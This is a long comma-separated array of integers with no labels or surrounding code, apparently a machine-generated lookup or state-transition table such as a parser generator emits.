7,97,0,97,97,97,97,97,97,97,97,97,97,97,1737,97,1364,97,97,97,97,97,97,97,97,97,97,97,97,1373,97,18,131427,0,0,0,0,0,0,362,0,0,365,29315,367,647,45,45,1387,45,45,1391,45,45,45,45,45,45,45,45,45,45,410,45,45,45,45,45,1400,45,45,45,45,45,45,45,45,45,45,1407,45,45,45,45,45,941,45,943,45,45,45,45,45,45,951,45,67,1438,67,67,67,67,67,67,67,67,67,67,1447,67,67,67,67,67,67,782,67,67,67,67,67,67,67,67,67,756,67,67,67,67,67,67,97,1491,97,97,97,97,97,97,97,97,97,97,1500,97,97,97,0,97,97,97,97,97,97,97,97,97,97,1736,97,45,45,1541,45,45,45,45,45,45,45,45,45,45,45,45,45,677,45,45,67,1581,67,67,67,67,67,67,67,67,67,67,67,67,67,67,791,792,67,67,67,67,1598,67,1600,67,67,67,67,67,67,67,67,1472,97,97,97,1727,97,97,97,97,97,97,97,97,97,97,97,97,97,1513,97,97,67,67,97,1879,97,1881,97,0,1884,0,97,97,97,97,0,0,97,97,97,97,97,0,0,0,1842,97,97,67,67,67,67,67,97,97,97,97,1928,0,0,0,97,97,97,97,97,97,45,45,45,45,45,1903,45,45,45,67,67,67,67,97,97,97,97,1971,0,0,97,97,97,97,0,97,97,97,97,97,97,97,97,97,0,0,0,45,45,45,1381,45,45,45,45,1976,97,97,97,97,97,45,45,45,45,45,45,45,45,45,45,45,45,1747,809,67,67,67,67,67,67,67,67,67,67,67,25398,542,13112,544,97,907,97,97,97,97,97,97,97,97,97,97,97,638,0,0,0,0,1478,97,97,97,97,97,97,97,97,97,97,97,1150,97,97,97,97,67,67,67,67,1244,67,67,67,67,67,67,67,67,67,67,67,477,67,67,67,67,67,67,1294,67,67,67,67,0,0,0,0,0,0,0,0,0,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1324,97,97,97,97,97,97,97,97,97,97,97,97,97,0,0,0,1374,97,97,97,97,0,1175,0,45,45,45,45,45,45,45,45,945,45,45,45,45,45,45,45,45,1908,45,45,1910,45,67,67,67,67,67,67,67,67,1919,67,0,0,97,97,97,97,45,2048,67,2049,0,0,97,2051,45,45,45,939,45,45,45,45,45,45,45,45,45,45,45,45,397,45,45,45,1921,67,67,1923,67,97,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,1947,45,1935,0,0,0,97,1939,97,97,1941,97,45,45,45,45,45,45,382,389,45,45,45,45,45,45,45,45,1810,45,45,1812,67,67,67,67,67,256,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,336,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,0,0,0,362,0,365,28809,367,139,45,45,371,373,45,45,45,955,45,45,45,45,45,45,45,45,45,45,45,45,413,45,45,45,457,459,67,67,67,67,67,67,67,67,473,67,478,67,67,482,67,67,485,67,67,67,67,67,67,67,67,67,67,67,67,67,97,1828,97,554,556,97,97,97,97,97,97,97,97,570,97,575,97,97,579,97,97,582,97,97,97,97,97,97,97,97,97,97,97,97,97,330,97,97,67,746,67,67,67,67,67,67,67,67,67,758,67,67,67,67,67,67,67,1575,67,67,67,67,67,67,67,67,493,67,67,67,67,67,67,67,97,97,844,97,97,97,97,97,97,97,97,97,856,97,97,97,0,97,97,97,97,97,97,97,97,1735,97,97,97,0,97,97,97,97,97,97,97,1642,97,1644,97,97,890,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,0,67,67,67,67,1065,1066,67,67,67,67,67,67,67,67,67,67,532,67,67,67,67,67,67,67,1451,67,67,67,67,67,67,67,67,67,67,67,67,67,496,67,67,97,97,1505,97,97,97,97,97,97,97,97,97,97,97,97,97,593,97,97,0,1474,0,1476,0,97,97,97,97,97,97,97,97,97,97,1617,97,97,1635,0,1637,97,97,97,97,97,97,97,97,97,97,97,885,97,97,97,97,67,67,1704,67,67,67,67,97,97,97,97,97,97,97,97,97,565,572,97,97,97,97,97,97,97,97,1832,0,97,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,1946,45,45,67,67,67,67,67,97,1926,97,1927,97,0,0,0,97,97,1934,2043,0,0,97,97,97,2047,45,45,67,67,0,1832,97,97,45,45,45,981,45,45,45,45,45,45,45,45,45,45,45,45,1227,45,45,45,131427,0,0,0,0,362,0,365,28809,367,139,45,45,372,45,45,45,45,1661,1662,45,45,45,45,45,1666,45,45,45,45,45,1673,45,1675,45,45,45,45,45,45,45,67,1426,67,67,67,67,67,67,67,67,67,67,1275,67,67,67,67,67,45,418,45,45,420,45,45,423,45,45,45,45,45,45,45,45,959,45,45,962,45,45,45,45,458,67,67,67,67,67,67,67,67,67,67,67,67,67,67,483,67,67,67,67,504,67,67,506,67,67,509,67,67,67,67,67,67,67,528,67,67,67,67,67,67,67,67,1287,67,67,67,67,67,67,67,555,97,97,97,97,97,97,97,97,97,97,97,97,97,97,580,97,97,97,97,601,97,97,603,97,97,606,97,97,97,97,97,97,848,97,97,97,97,97,97,97,97,97,1498,97,97,97,97,97,97,45,45,714,45,45,45,45,45,45,45,45,45,45,45,45,45,989,990,45,67,67,67,67,67,1011,67,67,67,67,1015,67,67,67,67,67,67,67,753,67,67,67,67,67,67,67,67,467,67,67,67,67,67,67,67,45,45,1179,45,45,45,45,45,45,45,45,45,45,45,45,45,1003,1004,67,1217,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,728,67,1461,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1034,67,97,1516,97,97,97,97,97,97,97,97,97,97,97,97,97,97,871,97,67,67,67,1705,67,67,67,97,97,97,97,97,97,97,97,97,567,97,97,97,97,97,97,97,97,97,97,1715,97,97,97,97,97,97,97,97,97,0,0,0,45,45,1380,45,45,45,45,45,67,67,97,97,97,97,97,0,0,0,97,1887,97,97,0,0,97,97,97,0,97,97,97,97,97,2006,45,45,1907,45,45,45,45,45,67,67,67,67,67,67,67,67,67,1920,67,97,0,2035,97,97,97,97,97,45,45,45,45,67,67,67,1428,67,67,67,67,67,67,1435,67,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,146,45,152,45,45,165,45,175,45,180,45,45,187,190,195,45,203,254,257,262,67,270,67,67,0,24850,12564,0,0,0,281,28809,53531,97,97,97,293,97,299,97,97,312,97,322,97,327,97,97,334,337,342,97,350,97,97,0,40976,0,18,18,24,24,27,27,27,67,484,67,67,67,67,67,67,67,67,67,67,67,67,67,499,97,581,97,97,97,97,97,97,97,97,97,97,97,97,97,596,648,45,650,45,651,45,653,45,45,45,657,45,45,45,45,45,45,1954,67,67,67,1958,67,67,67,67,67,67,67,768,67,67,67,67,67,67,67,67,769,67,67,67,67,67,67,67,680,45,45,45,45,45,45,45,45,688,689,691,45,45,45,45,45,983,45,45,45,45,45,45,45,45,45,45,947,45,45,45,45,952,45,45,698,699,45,45,702,703,45,45,45,45,45,45,45,711,744,67,67,67,67,67,67,67,67,67,757,67,67,67,67,761,67,67,67,67,765,67,767,67,67,67,67,67,67,67,67,775,776,778,67,67,67,67,67,67,785,786,67,67,789,790,67,67,67,67,67,67,1442,67,67,67,67,67,67,67,67,67,97,97,97,1775,97,97,97,67,67,67,67,67,798,67,67,67,802,67,67,67,67,67,67,67,67,1465,67,67,1468,67,67,1471,67,67,810,67,67,67,67,67,67,67,67,67,821,25398,542,13112,544,57889,0,0,54074,54074,550,0,833,97,835,97,836,97,838,97,97,0,0,97,97,97,2002,97,97,97,97,97,45,45,45,45,45,1740,45,45,45,1744,45,45,45,97,842,97,97,97,97,97,97,97,97,97,855,97,97,97,97,0,1717,1718,97,97,97,97,97,1722,97,0,0,859,97,97,97,97,863,97,865,97,97,97,97,97,97,97,97,604,97,97,97,97,97,97,97,873,874,876,97,97,97,97,97,97,883,884,97,97,887,888,97,18,131427,0,0,0,0,0,0,362,225280,0,365,0,367,0,45,45,45,1531,45,45,45,45,45,45,45,45,45,45,45,1199,45,45,45,45,45,97,97,908,97,97,97,97,97,97,97,97,97,919,638,0,0,0,0,2158877,2158877,2158877,2158877,2158877,2425117,2158877,2158877,2158877,2158877,2158877,2158877,2597149,2158877,2158877,2158877,2158877,2158877,2158877,2642205,2158877,2158877,2158877,2158877,2158877,3158301,0,2375818,2379914,2158730,2158730,2420874,2158730,2449546,2158730,2158730,953,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,965,978,45,45,45,45,45,45,985,45,45,45,45,45,45,45,45,971,45,45,45,45,45,45,45,67,67,67,67,67,1027,67,1029,67,67,67,67,67,67,67,67,67,1455,67,67,67,67,67,67,67,1077,1078,67,67,25398,0,13112,0,54074,0,0,0,0,0,0,0,0,366,0,139,2158730,2158730,2158730,2404490,2412682,1113,97,97,97,97,97,97,1121,97,1123,97,97,97,97,97,97,0,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1540,1155,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,615,1168,97,97,1171,1172,97,97,0,921,0,1175,0,0,0,0,45,45,45,45,45,1533,45,45,45,45,45,45,45,45,45,1663,45,45,45,45,45,45,45,45,45,183,45,45,45,45,201,45,45,45,1219,45,45,45,45,45,45,45,1226,45,45,45,45,45,168,45,45,45,45,45,45,45,45,45,45,427,45,45,45,45,45,45,45,1231,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,1242,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1046,67,67,1254,67,1256,67,67,67,67,67,67,67,67,67,67,67,67,806,807,67,67,97,1336,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1111,97,97,97,97,97,1351,97,97,97,1354,97,97,97,1359,97,97,97,0,97,97,97,97,1640,97,97,97,97,97,97,97,897,97,97,97,902,97,97,97,97,97,97,97,97,1366,97,97,97,97,97,97,97,1371,97,97,97,0,97,97,97,1730,97,97,97,97,97,97,97,97,915,97,97,97,97,0,360,0,67,67,67,1440,67,67,67,67,67,67,67,67,67,67,67,67,1017,67,1019,67,67,67,67,67,1453,67,67,67,67,67,67,67,67,67,67,1459,97,97,97,1493,97,97,97,97,97,97,97,97,97,97,97,97,97,1525,97,97,97,97,97,97,1507,97,97,97,97,97,97,97,97,97,97,1514,67,67,67,67,1584,67,67,67,67,67,1590,67,67,67,67,67,67,67,783,67,67,67,788,67,67,67,67,67,67,67,67,67,1599,1601,67,67,67,1604,67,1606,1607,67,1472,0,1474,0,1476,0,97,97,97,97,97,97,1614,97,97,97,97,45,45,1850,45,45,45,45,1855,45,45,45,45,45,1222,45,45,45,45,45,45,45,45,45,1229,97,1618,97,97,97,97,97,97,97,1625,97,97,97,97,97,0,1175,0,45,45,45,45,45,45,45,45,447,45,45,45,45,45,67,67,1633,97,97,0,97,97,97,97,97,97,97,97,1643,1645,97,97,0,0,97,97,1784,97,97,97,0,0,97,97,0,97,1894,1895,97,1897,97,45,45,45,45,45,45,45,45,45,656,45,45,45,45,45,45,97,1648,97,1650,1651,97,0,45,45,45,1654,45,45,45,45,45,169,45,45,45,45,45,45,45,45,45,45,658,45,45,45,45,664,45,45,1659,45,45,45,45,45,45,45,45,45,45,45,45,45,1187,45,45,1669,45,45,45,45,45,45,45,45,45,45,45,45,45,45,67,1005,67,67,1681,67,67,67,67,67,67,67,1686,67,67,67,67,67,67,67,784,67,67,67,67,67,67,67,67,1055,67,67,67,67,1060,67,67,97,97,1713,97,0,97,97,97,97,97,97,97,97,97,0,0,0,1378,45,45,45,45,45,45,45,408,45,45,45,45,45,45,45,45,1547,45,1549,45,45,45,45,45,97,97,1780,0,97,97,97,97,97,97,0,0,97,97,0,97,97,97,45,45,2027,2028,45,45,67,67,2031,2032,67,45,45,1804,45,45,45,45,45,45,45,45,67,67,67,67,67,67,1917,67,67,67,67,67,67,67,1819,67,67,67,67,67,67,67,67,97,97,97,1708,97,97,97,97,97,45,45,1862,67,67,67,67,67,67,67,67,67,67,67,67,67,497,67,67,67,1877,97,97,97,97,97,0,0,0,97,97,97,97,0,0,97,97,97,97,97,1839,0,0,97,97,97,97,1936,0,0,97,97,97,97,97,97,1943,1944,1945,45,45,45,45,670,45,45,45,45,674,45,45,45,45,678,45,1948,45,1950,45,45,45,45,1955,1956,1957,67,67,67,1960,67,1962,67,67,67,67,1967,1968,1969,97,0,0,0,97,97,1974,97,0,1936,0,97,97,97,97,97,97,45,45,45,45,45,45,45,45,1906,0,1977,97,97,97,97,45,45,45,45,45,45,45,45,45,45,45,1746,45,45,45,45,2011,67,67,2013,67,67,67,2017,97,97,0,0,2021,97,8192,97,97,2025,45,45,45,45,45,45,67,67,67,67,67,1916,67,67,67,67,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,140,45,45,45,1180,45,45,45,45,1184,45,45,45,45,45,45,45,387,45,392,45,45,396,45,45,399,45,45,67,207,67,67,67,67,67,67,236,67,67,67,67,67,67,67,800,67,67,67,67,67,67,67,67,67,1603,67,67,67,67,67,0,97,97,287,97,97,97,97,97,97,316,97,97,97,97,97,97,0,45,45,45,45,45,45,45,1656,1657,45,376,45,45,45,45,45,388,45,45,45,45,45,45,45,45,1406,45,45,45,45,45,45,45,67,67,67,67,462,67,67,67,67,67,474,67,67,67,67,67,67,67,817,67,67,67,67,25398,542,13112,544,97,97,97,97,559,97,97,97,97,97,571,97,97,97,97,97,97,896,97,97,97,900,97,97,97,97,97,97,912,914,97,97,97,97,97,0,0,0,45,45,45,45,45,45,45,45,391,45,45,45,45,45,45,45,45,713,45,45,45,45,45,45,45,45,45,45,45,45,45,45,662,45,1140,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,636,67,67,1283,67,67,67,67,67,67,67,67,67,67,67,67,67,513,67,67,1363,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,889,97,97,97,1714,0,97,97,97,97,97,97,97,97,97,0,0,926,45,45,45,45,45,45,45,45,672,45,45,45,45,45,45,45,45,686,45,45,45,45,45,45,45,45,944,45,45,45,45,45,45,45,45,1676,45,45,45,45,45,45,67,97,97,97,1833,0,97,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,1902,45,45,45,45,45,957,45,45,45,45,961,45,963,45,45,45,67,97,2034,0,97,97,97,97,97,2040,45,45,45,2042,67,67,67,67,67,67,1574,67,67,67,67,67,1578,67,67,67,67,67,67,799,67,67,67,804,67,67,67,67,67,67,67,1298,0,0,0,1304,0,0,0,1310,132,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,45,45,1414,45,45,45,45,45,45,45,45,45,45,428,45,45,45,45,45,57889,0,0,54074,54074,550,831,97,97,97,97,97,97,97,97,97,568,97,97,97,97,578,97,45,45,968,45,45,45,45,45,45,45,45,45,45,45,45,45,1228,45,45,67,67,67,67,67,25398,1082,13112,1086,54074,1090,0,0,0,0,0,0,364,0,0,0,139,2158592,2158592,2158592,2404352,2412544,67,67,67,67,1464,67,67,67,67,67,67,67,67,67,67,67,510,67,67,67,67,97,97,97,97,1519,97,97,97,97,97,97,97,97,97,97,97,918,97,0,0,0,0,1528,45,45,45,45,45,45,45,45,45,45,45,45,45,45,976,45,1554,45,45,45,45,45,45,45,45,1562,45,45,1565,45,45,45,45,683,45,45,45,687,45,45,692,45,45,45,45,45,1953,45,67,67,67,67,67,67,67,67,67,1014,67,67,67,67,67,67,1568,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,0,67,67,67,67,67,1585,67,67,67,67,67,67,67,67,67,1594,97,97,1649,97,97,97,0,45,45,1653,45,45,45,45,45,45,383,45,45,45,45,45,45,45,45,45,986,45,45,45,45,45,45,45,45,1670,45,1672,45,45,45,45,45,45,45,45,45,45,67,736,67,67,67,67,67,741,67,67,67,1680,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1074,67,67,67,1692,67,67,67,67,67,67,67,1697,67,1699,67,67,67,67,67,67,1012,67,67,67,67,67,67,67,67,67,468,475,67,67,67,67,67,67,1769,67,67,67,67,67,67,67,97,97,97,97,97,97,97,624,97,97,97,97,97,97,634,97,97,1792,97,97,97,97,97,97,97,45,45,45,45,45,45,45,958,45,45,45,45,45,45,964,45,150,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,977,204,45,67,67,67,217,67,67,67,67,67,67,67,67,67,67,787,67,67,67,67,67,67,67,67,67,67,271,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,97,351,97,0,40976,0,18,18,24,24,27,27,27,45,45,938,45,45,45,45,45,45,45,45,45,45,45,45,45,1398,45,45,45,153,45,161,45,45,45,45,45,45,45,45,45,45,45,45,660,661,45,45,205,45,67,67,67,67,220,67,228,67,67,67,67,67,67,67,0,0,0,0,0,280,94,0,0,67,67,67,67,67,272,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,97,352,97,0,40976,0,18,18,24,24,27,27,27,45,439,45,45,45,45,45,445,45,45,45,452,45,45,67,67,212,216,67,67,67,67,67,241,67,246,67,252,67,67,486,67,67,67,67,67,67,67,494,67,67,67,67,67,67,67,1245,67,67,67,67,67,67,67,67,1013,67,67,1016,67,67,67,67,67,521,67,67,525,67,67,67,67,67,531,67,67,67,538,67,0,0,2046,97,97,97,45,45,67,67,0,0,97,97,45,45,45,1192,45,45,45,45,45,45,45,45,45,45,45,45,1418,45,45,1421,97,97,583,97,97,97,97,97,97,97,591,97,97,97,97,97,97,913,97,97,97,97,97,97,0,0,0,45,45,45,45,45,45,45,1384,97,618,97,97,622,97,97,97,97,97,628,97,97,97,635,97,18,131427,0,0,0,639,0,132,362,0,0,365,29315,367,0,921,29315,0,0,0,0,45,45,45,45,932,45,45,45,45,45,1544,45,45,45,45,45,1550,45,45,45,45,45,1194,45,1196,45,45,45,45,45,45,45,45,999,45,45,45,45,45,67,67,45,45,667,45,45,45,45,45,45,45,45,45,45,45,45,45,1408,45,45,45,696,45,45,45,701,45,45,45,45,45,45,45,45,710,45,45,45,1220,45,45,45,45,45,45,45,45,45,45,45,45,194,45,45,45,729,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,797,67,67,67,67,67,67,805,67,67,67,67,67,67,67,1587,67,1589,67,67,67,67,67,67,67,67,1763,67,67,67,67,67,67,67,0,0,0,0,0,0,2162968,0,0,67,67,67,67,67,814,816,67,67,67,67,67,25398,542,13112,544,67,67,1008,67,67,67,67,67,67,67,67,67,67,67,1020,67,0,97,45,67,0,97,45,67,0,97,45,67,97,0,0,97,97,97,97,97,45,45,45,45,67,67,67,67,1429,67,1430,67,67,67,67,67,1062,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,518,1076,67,67,67,67,25398,0,13112,0,54074,0,0,0,0,0,0,0,0,28809,0,139,45,45,45,45,45,97,97,97,97,1102,97,97,97,97,97,97,97,97,97,97,97,1124,97,1126,97,97,1114,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1112,97,97,1156,97,97,97,97,97,97,97,97,97,97,97,97,97,594,97,97,97,97,1170,97,97,97,97,0,921,0,0,0,0,0,0,45,45,45,45,1532,45,45,45,45,1536,45,45,45,45,45,172,45,45,45,45,45,45,45,45,45,45,706,45,45,709,45,45,1177,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1202,45,1204,45,45,45,45,45,45,45,45,45,45,45,45,1215,45,45,45,1232,45,45,45,45,45,45,45,67,1237,67,67,67,67,67,67,1053,1054,67,67,67,67,67,67,1061,67,67,1282,67,67,67,67,67,67,67,67,67,1289,67,67,67,1292,97,97,97,97,1339,97,97,97,97,97,97,1344,97,97,97,97,45,1849,45,1851,45,45,45,45,45,45,45,45,721,45,45,45,45,45,726,45,1385,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1188,45,45,1401,1402,45,45,45,45,1405,45,45,45,45,45,45,45,45,1752,45,45,45,45,45,67,67,1410,45,45,45,1413,45,1415,45,45,45,45,45,45,1419,45,45,45,45,1806,45,45,45,45,45,45,67,67,67,67,67,67,67,97,97,2019,0,97,67,67,67,1452,67,67,67,67,67,67,67,67,1457,67,67,67,67,67,67,1259,67,67,67,67,67,67,1264,67,67,1460,67,1462,67,67,67,67,67,67,1466,67,67,67,67,67,67,67,67,1588,67,67,67,67,67,67,67,0,1300,0,0,0,1306,0,0,0,97,97,97,1506,97,97,97,97,97,97,97,97,1512,97,97,97,0,1728,97,97,97,97,97,97,97,97,97,97,97,901,97,97,97,97,1515,97,1517,97,97,97,97,97,97,1521,97,97,97,97,97,97,0,45,1652,45,45,45,1655,45,45,45,45,45,1542,45,45,45,45,45,45,45,45,45,45,45,45,45,1552,1553,45,45,45,1556,45,45,45,45,45,45,45,45,45,45,45,45,45,693,45,45,45,67,67,67,67,1572,67,67,67,67,1576,67,67,67,67,67,67,67,67,1602,67,67,1605,67,67,67,0,67,1582,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1580,67,67,1596,67,67,67,67,67,67,67,67,67,67,67,67,67,0,542,0,544,67,67,67,67,1759,67,67,67,67,67,67,67,67,67,67,67,533,67,67,67,67,67,67,67,1770,67,67,67,67,67,97,97,97,97,97,97,1777,97,97,97,1793,97,97,97,97,97,45,45,45,45,45,45,45,998,45,45,1001,1002,45,45,67,67,45,1861,45,67,67,67,67,67,67,67,67,1871,67,1873,1874,67,0,97,45,67,0,97,45,67,16384,97,45,67,97,0,0,0,1473,0,1082,0,0,0,1475,0,1086,0,0,0,1477,1876,67,97,97,97,97,97,1883,0,1885,97,97,97,1889,0,0,0,286,0,0,0,286,0,2367488,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,18,18,24,24,126,126,126,2053,0,2055,45,67,0,97,45,67,0,97,45,67,97,0,0,97,97,97,2039,97,45,45,45,45,67,67,67,67,67,226,67,67,67,67,67,67,67,67,1246,67,67,1249,1250,67,67,67,132,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,141,45,45,45,1403,45,45,45,45,45,45,45,45,45,45,45,45,1186,45,45,1189,45,45,155,45,45,45,45,45,45,45,45,45,191,45,45,45,45,700,45,45,45,45,45,45,45,45,45,45,45,1753,45,45,45,67,67,45,45,67,208,67,67,67,222,67,67,67,67,67,67,67,67,67,1764,67,67,67,67,67,67,67,258,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,288,97,97,97,302,97,97,97,97,97,97,97,97,97,627,97,97,97,97,97,97,338,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,0,0,0,362,0,365,28809,367,139,45,370,45,45,45,45,716,45,45,45,45,45,722,45,45,45,45,45,45,1912,67,67,67,67,67,67,67,67,67,819,67,67,25398,542,13112,544,45,403,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1409,45,67,67,67,67,489,67,67,67,67,67,67,67,67,67,67,67,771,67,67,67,67,520,67,67,67,67,67,67,67,67,67,67,67,534,67,67,67,67,67,67,1271,67,67,67,1274,67,67,67,1279,67,67,24850,24850,12564,12564,0,57889,0,0,0,53531,53531,367,286,97,553,97,97,97,97,586,97,97,97,97,97,97,97,97,97,97,97,1138,97,97,97,97,617,97,97,97,97,97,97,97,97,97,97,97,631,97,97,97,0,1834,97,97,97,97,97,0,0,0,97,97,97,97,97,353,0,40976,0,18,18,24,24,27,27,27,45,45,668,45,45,45,45,45,45,45,45,45,45,45,45,45,724,45,45,45,45,45,682,45,45,45,45,45,45,45,45,45,45,45,45,45,949,45,45,45,67,67,747,748,67,67,67,67,755,67,67,67,67,67,67,67,0,0,0,1302,0,0,0,1308,0,67,794,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1701,67,97,97,97,845,846,97,97,97,97,853,97,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,97,97,892,97,97,97,97,97,97,97,97,97,97,97,97,97,610,97,97,45,992,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,1239,67,67,67,1063,67,67,67,67,67,1068,67,67,67,67,67,67,67,0,0,1301,0,0,0,1307,0,0,97,1141,97,97,97,97,97,97,97,97,97,97,97,1152,97,97,0,0,97,97,2001,0,97,2003,97,97,97,45,45,45,1739,45,45,45,1742,45,45,45,45,45,97,97,97,97,1157,97,97,97,97,97,1162,97,97,97,97,97,97,1145,97,97,97,97,97,1151,97,97,97,1253,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,539,45,1423,45,45,67,67,67,67,67,67,67,1431,67,67,67,67,67,67,67,1695,67,67,67,67,67,1700,67,1702,67,67,1439,67,67,67,67,67,67,67,67,67,67,67,67,67,514,67,67,97,97,1492,97,97,97,97,97,97,97,97,97,97,97,97,97,611,97,97,1703,67,67,67,67,67,67,97,97,97,97,97,97,97,97,97,852,97,97,97,97,97,97,45,1949,45,1951,45,45,45,67,67,67,67,67,67,67,1961,67,0,97,45,67,0,97,2060,2061,0,2062,45,67,97,0,0,2036,97,97,97,97,45,45,45,45,67,67,67,67,67,223,67,67,237,67,67,67,67,67,67,67,1272,67,67,67,67,67,67,67,67,507,67,67,67,67,67,67,67,1963,67,67,67,97,97,97,97,0,1972,0,97,97,97,1975,0,921,29315,0,0,0,0,45,45,45,931,45,45,45,45,45,407,45,45,45,45,45,45,45,45,45,417,45,45,1989,67,67,67,67,67,67,67,67,67,67,67,1996,97,18,131427,0,0,360,0,0,0,362,0,0,365,29315,367,0,921,29315,0,0,0,0,45,45,930,45,45,45,45,45,45,444,45,45,45,45,45,45,45,67,67,97,97,1998,0,97,97,97,0,97,97,97,97,97,45,45,45,45,45,45,1985,45,1986,45,45,45,156,45,45,170,45,45,45,45,45,45,45,45,45,45,675,45,45,45,45,679,131427,0,358,0,0,362,0,365,28809,367,139,45,45,45,45,45,381,45,45,45,45,45,45,45,45,45,400,45,45,419,45,45,45,45,45,45,45,45,45,45,45,45,436,67,67,67,67,67,505,67,67,67,67,67,67,67,67,67,67,820,67,25398,542,13112,544,67,67,522,67,67,67,67,67,529,67,67,67,67,67,67,67,0,1299,0,0,0,1305,0,0,0,97,97,619,97,97,97,97,97,626,97,97,97,97,97,97,97,1105,97,97,97,97,1109,97,97,97,67,67,67,67,749,67,67,67,67,67,67,67,67,67,760,67,0,97,45,67,2058,97,45,67,0,97,45,67,97,0,0,97,97,97,97,97,45,45,45,2041,67,67,67,67,67,780,67,67,67,67,67,67,67,67,67,67,67,67,67,516,67,67,97,97,97,878,97,97,97,97,97,97,97,97,97,97,97,97,97,1629,97,0,45,979,45,45,45,45,984,45,45,45,45,45,45,45,45,45,1198,45,45,45,45,45,45,67,1023,67,67,67,67,1028,67,67,67,67,67,67,67,67,67,470,67,67,67,67,67,67,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,1094,0,0,0,1092,1315,0,0,0,0,97,97,97,97,97,97,97,97,97,1486,97,1489,97,97,97,1117,97,97,97,97,1122,97,97,97,97,97,97,97,1146,97,97,97,97,97,97,97,97,881,97,97,97,886,97,97,97,1311,0,0,0,0,0,0,0,0,97,97,97,97,97,97,97,1615,97,97,97,97,97,1619,97,97,97,97,97,97,97,97,97,97,97,97,1631,97,97,1847,97,45,45,45,45,1852,45,45,45,45,45,45,45,1235,45,45,45,67,67,67,67,67,1868,67,67,67,1872,67,67,67,67,67,97,97,97,97,1882,0,0,0,97,97,97,97,0,1891,67,67,67,67,67,97,97,97,97,97,1929,0,0,97,97,97,97,97,97,45,1900,45,1901,45,45,45,1905,45,67,2054,97,45,67,0,97,45,67,0,97,45,67,97,0,0,97,2037,2038,97,97,45,45,45,45,67,67,67,67,1867,67,67,67,67,67,67,67,67,67,1774,97,97,97,97,97,97,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,142,45,45,45,1412,45,45,45,45,45,45,45,45,45,45,45,45,432,45,45,45,45,45,157,45,45,171,45,45,45,182,45,45,45,45,200,45,45,45,1543,45,45,45,45,45,45,45,45,1551,45,45,45,45,1181,45,45,45,45,45,45,45,45,45,45,45,1211,45,45,45,1214,45,45,45,67,209,67,67,67,224,67,67,238,67,67,67,249,67,0,97,2056,2057,0,2059,45,67,0,97,45,67,97,0,0,1937,97,97,97,97,97,97,45,45,45,45,45,45,1741,45,45,45,45,45,45,67,67,67,267,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,289,97,97,97,304,97,97,318,97,97,97,329,97,97,0,0,97,1783,97,97,97,97,0,0,97,97,0,97,97,97,45,2026,45,45,45,45,67,2030,67,67,67,67,67,67,1041,67,67,67,67,67,67,67,67,67,1044,67,67,67,67,67,67,97,97,347,97,97,97,0,40976,0,18,18,24,24,27,27,27,45,666,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1420,45,57889,0,0,54074,54074,550,0,97,97,97,97,97,97,97,97,840,67,1007,67,67,67,67,67,67,67,67,67,67,67,67,67,67,759,67,67,67,67,67,67,67,1052,67,67,67,67,67,67,67,67,67,67,1031,67,67,67,67,67,97,97,97,1101,97,97,97,97,97,97,97,97,97,97,97,97,592,97,97,97,1190,45,45,45,45,45,1195,45,1197,45,45,45,45,1201,45,45,45,45,1952,45,45,67,67,67,67,67,67,67,67,67,67,67,67,250,67,67,67,1255,67,1257,67,67,67,67,1261,67,67,67,67,67,67,67,67,1685,67,67,67,67,67,67,67,0,24851,12565,0,0,0,0,28809,53532,67,67,1267,67,67,67,67,67,67,1273,67,67,67,67,67,67,67,67,1696,67,67,67,67,67,67,67,0,0,0,0,0,0,2162688,0,0,1281,67,67,67,67,1285,67,67,67,67,67,67,67,67,67,67,1070,67,67,67,67,67,1335,97,1337,97,97,97,97,1341,97,97,97,97,97,97,97,97,882,97,97,97,97,97,97,97,1347,97,97,97,97,97,97,1353,97,97,97,97,97,97,1361,97,18,131427,0,638,0,0,0,0,362,0,0,365,29315,367,0,544,0,550,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2473984,2158592,2158592,2158592,2990080,2158592,2158592,2207744,2207744,2482176,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,0,0,0,2162688,0,53530,97,97,97,1365,97,97,97,97,97,97,97